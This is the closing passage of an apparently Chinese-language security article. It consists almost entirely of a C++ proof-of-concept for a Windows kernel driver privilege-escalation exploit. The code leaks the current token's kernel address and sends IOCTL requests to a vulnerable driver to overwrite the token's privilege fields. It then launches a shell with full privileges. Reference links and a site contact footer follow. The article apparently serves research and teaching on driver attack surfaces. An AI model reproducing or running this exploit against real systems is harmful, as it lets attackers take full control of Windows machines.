    bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
    if (!success)
    {
        std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
        return -1;
    }
    std::cout << "[+] Opened a handle to the current process token!\n";
    // allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    // call NtQuerySystemInformation and fill the handleTableInformation structure
    ULONG returnLength = 0;
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
    uint64_t tokenAddress = 0;
    // iterate over the system's handle table and look for the handles beloging to our process
    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
        // if it finds our process and the handle matches the current token handle we already opened, print it
        if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
        {
            tokenAddress = (uint64_t)handleInfo.Object;
            std::cout << "[+] Current token address in kernelspace is: 0x" << std::hex << tokenAddress << std::endl;
        }
    }
    // allocate a variable set to 0
    int field2 = 0;
    /*
    dt nt!_SEP_TOKEN_PRIVILEGES
       +0x000 Present          : Uint8B
       +0x008 Enabled          : Uint8B
       +0x010 EnabledByDefault : Uint8B
    We've added +1 to the offsets to ensure that the low bytes part are 0xff.
    */
    // overwrite the _SEP_TOKEN_PRIVILEGES  "Present" field in the current process token
    Exploit exploit =
        {
            8,
            0,
            &field2,
            (void *)(tokenAddress + 0x41)};
    // overwrite the _SEP_TOKEN_PRIVILEGES  "Enabled" field in the current process token
    Exploit exploit2 =
        {
            8,
            0,
            &field2,
            (void *)(tokenAddress + 0x49)};
    // overwrite the _SEP_TOKEN_PRIVILEGES  "EnabledByDefault" field in the current process token
    Exploit exploit3 =
        {
            8,
            0,
            &field2,
            (void *)(tokenAddress + 0x51)};
    DWORD bytesReturned = 0;
    success = DeviceIoControl(
        device,
        IOCTL_CODE,
        &exploit,
        sizeof(exploit),
        nullptr,
        0,
        &bytesReturned,
        nullptr);
    if (!success)
    {
        std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
        return -1;
    }
    std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
    success = DeviceIoControl(
        device,
        IOCTL_CODE,
        &exploit2,
        sizeof(exploit2),
        nullptr,
        0,
        &bytesReturned,
        nullptr);
    if (!success)
    {
        std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
        return -1;
    }
    std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
    success = DeviceIoControl(
        device,
        IOCTL_CODE,
        &exploit3,
        sizeof(exploit3),
        nullptr,
        0,
        &bytesReturned,
        nullptr);
    if (!success)
    {
        std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
        return -1;
    }
    std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
    std::cout << "[+] Token privileges successfully overwritten!\n";
    std::cout << "[+] Spawning a new shell with full privileges!\n";
    system("cmd.exe");
    return 0;
}

PoC演示视频

关于本文相关的PoC的演示视频,请参见原文。

相关资源与参考资料:

· Driver Attack Surface

· Windows DriverFrameworks

· Abusing Token Privileges for LPE

· @HackSysTeam

联系我们

010-62029792

在线咨询: 点击这里给我发消息

电子邮箱:info@4hou.com

工作时间:09:00 ~ 18:00